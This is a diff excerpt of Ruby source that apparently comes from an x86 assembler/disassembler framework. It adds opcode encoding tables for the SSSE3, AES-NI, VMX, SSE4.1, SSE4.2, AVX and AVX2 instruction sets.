+    addop('fisttp',   [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 }
+    addop('fisttp',   [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 }
+    addop('fisttp',   [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 }
+    addop('lddqu',    [0x0F, 0xF0], :mrmxmm, :modrmA) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 }
+    addop('movddup',  [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
+    addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 }
+    addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 }
+  end
+
+  def init_ssse3_only
+    init_cpu_constants
+
+    addop_macrogg 0..2, 'pabs', [0x0F, 0x38, 0x1C], :mrmmmx, :xmmx
+    addop 'palignr',  [0x0F, 0x3A, 0x0F], :mrmmmx, :u8, :xmmx
+    addop 'phaddd',   [0x0F, 0x38, 0x02], :mrmmmx, :xmmx
+    addop 'phaddsw',  [0x0F, 0x38, 0x03], :mrmmmx, :xmmx
+    addop 'phaddw',   [0x0F, 0x38, 0x01], :mrmmmx, :xmmx
+    addop 'phsubd',   [0x0F, 0x38, 0x06], :mrmmmx, :xmmx
+    addop 'phsubsw',  [0x0F, 0x38, 0x07], :mrmmmx, :xmmx
+    addop 'phsubw',   [0x0F, 0x38, 0x05], :mrmmmx, :xmmx
+    addop 'pmaddubsw',[0x0F, 0x38, 0x04], :mrmmmx, :xmmx
+    addop 'pmulhrsw', [0x0F, 0x38, 0x0B], :mrmmmx, :xmmx
+    addop 'pshufb',   [0x0F, 0x38, 0x00], :mrmmmx, :xmmx
+    addop_macrogg 0..2, 'psignb', [0x0F, 0x38, 0x80], :mrmmmx, :xmmx
+  end
+
+  def init_aesni_only
+    init_cpu_constants
+
+    addop('aesdec',    [0x0F, 0x38, 0xDE], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('aesdeclast',[0x0F, 0x38, 0xDF], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('aesenc',    [0x0F, 0x38, 0xDC], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('aesenclast',[0x0F, 0x38, 0xDD], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('aesimc',    [0x0F, 0x38, 0xDB], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('aeskeygenassist', [0x0F, 0x3A, 0xDF], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+
+    addop('pclmulqdq', [0x0F, 0x3A, 0x44], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+  end
+
+  def init_vmx_only
+    init_cpu_constants
+
+    addop 'vmcall',   [0x0F, 0x01, 0xC1]
+    addop 'vmlaunch', [0x0F, 0x01, 0xC2]
+    addop 'vmresume', [0x0F, 0x01, 0xC3]
+    addop 'vmxoff',   [0x0F, 0x01, 0xC4]
+    addop 'vmread',   [0x0F, 0x78], :mrm
+    addop 'vmwrite',  [0x0F, 0x79], :mrm
+    addop('vmclear',  [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 }
+    addop('vmxon',    [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 }
+    addop('vmptrld',  [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 }
+    addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 }
+    addop('invept',   [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 }
+    addop('invvpid',  [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 }
+
+    addop 'getsec',   [0x0F, 0x37]
+
+    addop 'xgetbv', [0x0F, 0x01, 0xD0]
+    addop 'xsetbv', [0x0F, 0x01, 0xD1]
+    addop 'rdtscp', [0x0F, 0x01, 0xF9]
+    addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA
+    addop 'xsave',  [0x0F, 0xAE, 4<<3], :modrmA
+  end
+
+  def init_sse41_only
+    init_cpu_constants
+
+    addop('blendpd',  [0x0F, 0x3A, 0x0D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('blendps',  [0x0F, 0x3A, 0x0C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('blendvpd', [0x0F, 0x38, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('blendvps', [0x0F, 0x38, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('dppd',     [0x0F, 0x3A, 0x41], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('dpps',     [0x0F, 0x3A, 0x40], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('extractps',[0x0F, 0x3A, 0x17], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('insertps', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('movntdqa', [0x0F, 0x38, 0x2A], :mrmxmm, :modrmA) { |o| o.props[:needpfx] = 0x66 }
+    addop('mpsadbw',  [0x0F, 0x3A, 0x42], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('packusdw', [0x0F, 0x38, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pblendvb', [0x0F, 0x38, 0x10], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pblendw',  [0x0F, 0x3A, 0x1E], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('pcmpeqq',  [0x0F, 0x38, 0x29], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pextrb', [0x0F, 0x3A, 0x14], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 }
+    addop('pextrw', [0x0F, 0x3A, 0x15], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 }
+    addop('pextrd', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 }
+    addop('pinsrb', [0x0F, 0x3A, 0x20], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 }
+    addop('pinsrw', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 }
+    addop('pinsrd', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 }
+    addop('phminposuw', [0x0F, 0x38, 0x41], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pminsb', [0x0F, 0x38, 0x38], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pminsd', [0x0F, 0x38, 0x39], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pminuw', [0x0F, 0x38, 0x3A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pminud', [0x0F, 0x38, 0x3B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmaxsb', [0x0F, 0x38, 0x3C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmaxsd', [0x0F, 0x38, 0x3D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmaxuw', [0x0F, 0x38, 0x3E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmaxud', [0x0F, 0x38, 0x3F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+
+    addop('pmovsxbw', [0x0F, 0x38, 0x20], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovsxbd', [0x0F, 0x38, 0x21], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovsxbq', [0x0F, 0x38, 0x22], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovsxwd', [0x0F, 0x38, 0x23], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovsxwq', [0x0F, 0x38, 0x24], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovsxdq', [0x0F, 0x38, 0x25], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovzxbw', [0x0F, 0x38, 0x30], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovzxbd', [0x0F, 0x38, 0x31], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovzxbq', [0x0F, 0x38, 0x32], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovzxwd', [0x0F, 0x38, 0x33], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovzxwq', [0x0F, 0x38, 0x34], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmovzxdq', [0x0F, 0x38, 0x35], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+
+    addop('pmuldq',  [0x0F, 0x38, 0x28], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('pmulld',  [0x0F, 0x38, 0x40], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('ptest',   [0x0F, 0x38, 0x17], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('roundps', [0x0F, 0x3A, 0x08], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('roundpd', [0x0F, 0x3A, 0x09], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('roundss', [0x0F, 0x3A, 0x0A], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('roundsd', [0x0F, 0x3A, 0x0B], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+  end
+
+  def init_sse42_only
+    init_cpu_constants
+
+    addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 }
+    addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 }
+    addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 }
+    addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 }
+    addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 }
+    addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('popcnt', [0x0F, 0xB8], :mrm) { |o| o.props[:needpfx] = 0xF3 }
+  end
+
+  def init_avx_only
+    init_cpu_constants
+
+    add128 = {}
+    add256 = {}
+    %w[movss movsd movlhps movhpd movhlps
+       cvtsi2ss cvtsi2sd sqrtss sqrtsd rsqrtss rcpss
+       addss addsd mulss mulsd cvtss2sd cvtsd2ss subss subsd
+       minss minsd divss divsd maxss maxsd
+       punpcklb punpcklw punpckld packsswb pcmpgtb pcmpgtw pcmpgtd packuswb
+       punpckhb punpckhw punpckhd packssdw punpcklq punpckhq
+       pcmpeqb pcmpeqw pcmpeqd ldmxcsr stmxcsr
+       cmpss cmpsd paddq pmullw psubusb psubusw pminub
+       pand paddusb paddusw pmaxub pandn pavgb pavgw
+       pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw pmaxsw pxor
+       pmuludq pmaddwd psadbw
+       psubb psubw psubd psubq paddb paddw paddd
+       phaddw phaddsw phaddd phsubw phsubsw phsubd
+       pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd
+       dppd insertps mpsadbw packusdw pblendw pcmpeqq
+       pinsrb pinsrw pinsrd pinsrq
+       pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw
+       pmuldq pmulld roundsd roundss pcmpgtq
+       aesdec aesdeclast aesenc aesenclast
+       pclmulqdq punpcklbw punpcklwd punpckldq punpckhbw punpckhwd
+       punpckhdq punpcklqdq punpckhqdq].each { |n| add128[n] = true }
+
+    %w[movups movupd movddup movsldup
+       unpcklps unpcklpd unpckhps unpckhpd
+       movaps movshdup movapd movntps movntpd movmskps movmskpd
+       sqrtps sqrtpd rsqrtps rcpps andps andpd andnps andnpd
+       orps orpd xorps xorpd addps addpd mulps mulpd
+       cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq cvttps2dq
+       subps subpd minps minpd divps divpd maxps maxpd
+       movdqa movdqu haddpd haddps hsubpd hsubps
+       cmpps cmppd shufps shufpd addsubpd addsubps
+       cvtpd2dq cvttpd2dq cvtdq2pd movntdq lddqu
+       blendps blendpd blendvps blendvpd dpps ptest
+       roundpd roundps].each { |n| add128[n] = add256[n] = true }
+
+    varg = Hash.new(1)
+    %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa
+       pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq
+       pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq
+       aesimc aeskeygenassist lddqu maskmovdqu movapd movaps
+       pcmpestri pcmpestrm pcmpistri pcmpistrm phminposuw
+       cvtpd2dq cvttpd2dq cvtdq2pd cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq
+       cvttps2dq movd movq movddup movdqa movdqu movmskps movmskpd
+       movntdq movntps movntpd movshdup movsldup movups movupd
+       pextrb pextrw pextrd pextrq ptest rcpps roundps roundpd
+       extractps sqrtps sqrtpd comiss comisd ucomiss ucomisd
+       cvttss2si cvttsd2si cvtss2si cvtsd2si
+    ].each { |n| add128[n] = true ; varg[n] = nil }
+
+    cvtarg128 = {	:regmmx => :regxmm, :modrmmmx => :modrmxmm }
+    cvtarg256 = {	:regmmx => :regymm, :modrmmmx => :modrmymm,
+        :regxmm => :regymm, :modrmxmm => :modrmymm }
+
+    # autopromote old sseX opcodes
+    @opcode_list.each { |o|
+      next if o.bin[0] != 0x0F or not add128[o.name]	# rep cmpsd / movsd
+
+      mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F)
+      pp = o.props[:needpfx]
+      pp = 0x66 if o.props[:xmmx]
+      fpxlen = (mm == 0x0F ? 1 : 2)
+
+      addop_vex('v' + o.name, [varg[o.name], 128, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg128[oa] || oa }) { |oo|
+        oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1]
+        dbinlen = o.bin.length - oo.bin.length
+        o.fields.each { |k, v| oo.fields[cvtarg128[k] || k] = [v[0]-dbinlen, v[1]] }
+        o.props.each  { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx }
+      }
+
+      next if not add256[o.name]
+      addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo|
+        oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1]
+        dbinlen = o.bin.length - oo.bin.length
+        o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] }
+        o.props.each  { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx }
+      }
+    }
+
+    # sse promotion, special cases
+    addop_vex 'vpblendvb', [1, 128, 0x66, 0x0F3A, 0], 0x4C, :mrmxmm, :i4xmm
+    addop_vex 'vpsllw', [1, 128, 0x66, 0x0F], 0xF1, :mrmxmm
+    addop_vex('vpsllw', [0, 128, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex 'vpslld', [1, 128, 0x66, 0x0F], 0xF2, :mrmxmm
+    addop_vex('vpslld', [0, 128, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex 'vpsllq', [1, 128, 0x66, 0x0F], 0xF3, :mrmxmm
+    addop_vex('vpsllq', [0, 128, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex('vpslldq',[0, 128, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex 'vpsraw', [1, 128, 0x66, 0x0F], 0xE1, :mrmxmm
+    addop_vex('vpsraw', [0, 128, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex 'vpsrad', [1, 128, 0x66, 0x0F], 0xE2, :mrmxmm
+    addop_vex('vpsrad', [0, 128, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex 'vpsrlw', [1, 128, 0x66, 0x0F], 0xD1, :mrmxmm
+    addop_vex('vpsrlw', [0, 128, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex 'vpsrld', [1, 128, 0x66, 0x0F], 0xD2, :mrmxmm
+    addop_vex('vpsrld', [0, 128, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex 'vpsrlq', [1, 128, 0x66, 0x0F], 0xD3, :mrmxmm
+    addop_vex('vpsrlq', [0, 128, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+    addop_vex('vpsrldq',[0, 128, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm }
+
+    # dst==mem => no vreg
+    addop_vex 'vmovhps', [1,   128, nil,  0x0F], 0x16, :mrmxmm, :modrmA
+    addop_vex('vmovhps', [nil, 128, nil,  0x0F], 0x17, :mrmxmm, :modrmA) { |o| o.args.reverse! }
+    addop_vex 'vmovlpd', [1,   128, 0x66, 0x0F], 0x12, :mrmxmm, :modrmA
+    addop_vex('vmovlpd', [nil, 128, 0x66, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! }
+    addop_vex 'vmovlps', [1,   128, nil,  0x0F], 0x12, :mrmxmm, :modrmA
+    addop_vex('vmovlps', [nil, 128, nil,  0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! }
+
+    addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmA
+    addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmA
+    addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmA
+    addop_vex 'vbroadcastf128', [nil, 256, 0x66, 0x0F38, 0], 0x1A, :mrmymm, :modrmA
+
+    # general-purpose register operations
+    addop_vex 'andn', [1, :vexvreg, 128, nil, 0x0F38], 0xF2, :mrm
+    addop_vex 'bextr', [2, :vexvreg, 128, nil, 0x0F38], 0xF7, :mrm
+    addop_vex 'blsi', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 3
+    addop_vex 'blsmsk', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 2
+    addop_vex 'blsr', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 1
+    addop_vex 'bzhi', [2, :vexvreg, 128, nil, 0x0F38], 0xF5, :mrm
+    addop('lzcnt', [0x0F, 0xBD], :mrm) { |o| o.props[:needpfx] = 0xF3 }
+    addop_vex 'mulx', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF6, :mrm
+    addop_vex 'pdep', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF5, :mrm
+    addop_vex 'pext', [1, :vexvreg, 128, 0xF3, 0x0F38], 0xF5, :mrm
+    addop_vex 'rorx', [nil, 128, 0xF2, 0x0F3A], 0xF0, :mrm, :u8
+    addop_vex 'sarx', [2, :vexvreg, 128, 0xF3, 0x0F38], 0xF7, :mrm
+    addop_vex 'shrx', [2, :vexvreg, 128, 0xF2, 0x0F38], 0xF7, :mrm
+    addop_vex 'shlx', [2, :vexvreg, 128, 0x66, 0x0F38], 0xF7, :mrm
+    addop('tzcnt', [0x0F, 0xBC], :mrm) { |o| o.props[:needpfx] = 0xF3 }
+    addop('invpcid', [0x0F, 0x38, 0x82], :mrm) { |o| o.props[:needpfx] = 0x66 }
+    addop 'rdrand', [0x0F, 0xC7], 6, :modrmR
+    addop 'rdseed', [0x0F, 0xC7], 7, :modrmR
+    addop('adcx', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0x66 }
+    addop('adox', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0xF3 }
+
+    # fp16
+    addop_vex 'vcvtph2ps', [nil, 128, 0x66, 0x0F38, 0], 0x13, :mrmxmm
+    addop_vex 'vcvtph2ps', [nil, 256, 0x66, 0x0F38, 0], 0x13, :mrmymm
+    addop_vex('vcvtps2ph', [nil, 128, 0x66, 0x0F3A, 0], 0x1D, :mrmxmm, :u8) { |o| o.args.reverse! }
+    addop_vex('vcvtps2ph', [nil, 256, 0x66, 0x0F3A, 0], 0x1D, :mrmymm, :u8) { |o| o.args.reverse! }
+
+    # TSE
+    addop 'xabort', [0xC6, 0xF8], nil, :i8	# may :stopexec
+    addop 'xbegin', [0xC7, 0xF8], nil, :i	# may :setip: xabortreturns to $_(xbegin) + off
+    addop 'xend',   [0x0F, 0x01, 0xD5]
+    addop 'xtest',  [0x0F, 0x01, 0xD6]
+
+    # SMAP
+    addop 'clac',  [0x0F, 0x01, 0xCA]
+    addop 'stac',  [0x0F, 0x01, 0xCB]
+  end
+
+  def init_avx2_only
+    init_cpu_constants
+
+    add256 = {}
+    %w[packsswb pcmpgtb pcmpgtw pcmpgtd packuswb packssdw
+       pcmpeqb pcmpeqw pcmpeqd paddq pmullw psubusb psubusw
+       pminub pand paddusb paddusw pmaxub pandn pavgb pavgw
+       pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw
+       pmaxsw pxor pmuludq pmaddwd psadbw
+       psubb psubw psubd psubq paddb paddw paddd
+       phaddw phaddsw phaddd phsubw phsubsw phsubd
+       pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd
+       mpsadbw packusdw pblendw pcmpeqq
+       pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw
+       pmuldq pmulld pcmpgtq punpcklbw punpcklwd punpckldq
+       punpckhbw punpckhwd punpckhdq punpcklqdq punpckhqdq
+    ].each { |n| add256[n] = true }
+
+    varg = Hash.new(1)
+    %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa
+       pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq
+       pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq
+       maskmovdqu].each { |n| add256[n] = true ; varg[n] = nil }
+
+    cvtarg256 = {	:regmmx => :regymm, :modrmmmx => :modrmymm,
+        :regxmm => :regymm, :modrmxmm => :modrmymm }
+
+    # autopromote old sseX opcodes
+    @opcode_list.each { |o|
+      next if o.bin[0] != 0x0F or not add256[o.name]
+
+      mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F)
+      pp = o.props[:needpfx]
+      pp = 0x66 if o.props[:xmmx]
+      fpxlen = (mm == 0x0F ? 1 : 2)
+
+      addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo|
+        oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1]
+        dbinlen = o.bin.length - oo.bin.length
+        o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] }
+        o.props.each  { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx }
+      }
+    }
+
+    # promote special cases
+    addop_vex 'vpblendvb', [1, 256, 0x66, 0x0F3A, 0], 0x4C, :mrmymm, :i4ymm
+    addop_vex 'vpsllw', [1, 256, 0x66, 0x0F], 0xF1, :mrmymm
+    addop_vex('vpsllw', [0, 256, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex 'vpslld', [1, 256, 0x66, 0x0F], 0xF2, :mrmymm
+    addop_vex('vpslld', [0, 256, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex 'vpsllq', [1, 256, 0x66, 0x0F], 0xF3, :mrmymm
+    addop_vex('vpsllq', [0, 256, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex('vpslldq',[0, 256, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex 'vpsraw', [1, 256, 0x66, 0x0F], 0xE1, :mrmymm
+    addop_vex('vpsraw', [0, 256, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex 'vpsrad', [1, 256, 0x66, 0x0F], 0xE2, :mrmymm
+    addop_vex('vpsrad', [0, 256, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex 'vpsrlw', [1, 256, 0x66, 0x0F], 0xD1, :mrmymm
+    addop_vex('vpsrlw', [0, 256, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex 'vpsrld', [1, 256, 0x66, 0x0F], 0xD2, :mrmymm
+    addop_vex('vpsrld', [0, 256, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex 'vpsrlq', [1, 256, 0x66, 0x0F], 0xD3, :mrmymm
+    addop_vex('vpsrlq', [0, 256, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+    addop_vex('vpsrldq',[0, 256, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm }
+
+    addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmR
+    addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmR
+    addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmR
+    addop_vex 'vbroadcasti128', [nil, 256, 0x66, 0x0F38, 0], 0x5A, :mrmymm, :modrmA
+    addop_vex 'vpblendd', [1, 128, 0x66, 0x0F3A, 0], 0x02, :mrmxmm, :u8
+    addop_vex 'vpblendd', [1, 256, 0x66, 0x0F3A, 0], 0x02, :mrmymm, :u8
+    addop_vex 'vpbroadcastb', [nil, 128, 0x66, 0x0F38, 0], 0x78, :mrmxmm
+    addop_vex 'vpbroadcastb', [nil, 256, 0x66, 0x0F38, 0], 0x78, :mrmymm
+    addop_vex 'vpbroadcastw', [nil, 128, 0x66, 0x0F38, 0], 0x79, :mrmxmm
+    addop_vex 'vpbroadcastw', [nil, 256, 0x66, 0x0F38, 0], 0x79, :mrmymm
+    addop_vex 'vpbroadcastd', [nil, 128, 0x66, 0x0F38, 0], 0x58, :mrmxmm
+    addop_vex 'vpbroadcastd', [nil, 256, 0x66, 0x0F38, 0], 0x58, :mrmymm
+    addop_vex 'vpbroadcastq', [nil, 128, 0x66, 0x0F38, 0], 0x59, :mrmxmm
+    addop_vex 'vpbroadcastq', [nil, 256, 0x66, 0x0F38, 0], 0x59, :mrmymm
+    addop_vex 'vpermd',     [1,   256, 0x66, 0x0F38, 0], 0x36, :mrmymm
+    addop_vex 'vpermpd',    [nil, 256, 0x66, 0x0F3A, 1], 0x01, :mrmymm, :u8
+    addop_vex 'vpermps',    [1,   256, 0x66, 0x0F38, 0], 0x16, :mrmymm, :u8
+    addop_vex 'vpermq',     [nil, 256, 0x66, 0x0F3A, 1], 0x00, :mrmymm, :u8
+    addop_vex 'vperm2i128', [1,   256, 0x66, 0x0F3A, 0], 0x46, :mrmymm, :u8
+    addop_vex 'vextracti128', [nil, 256, 0x66, 0x0F3A, 0], 0x39, :mrmymm, :u8
+    addop_vex 'vinserti128',  [1,   256, 0x66, 0x0F3A, 0], 0x38, :mrmymm, :u8
+    addop_vex 'vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8C, :mrmxmm, :modrmA
+    addop_vex 'vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8C, :mrmymm, :modrmA
+    addop_vex 'vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8C, :mrmxmm, :modrmA
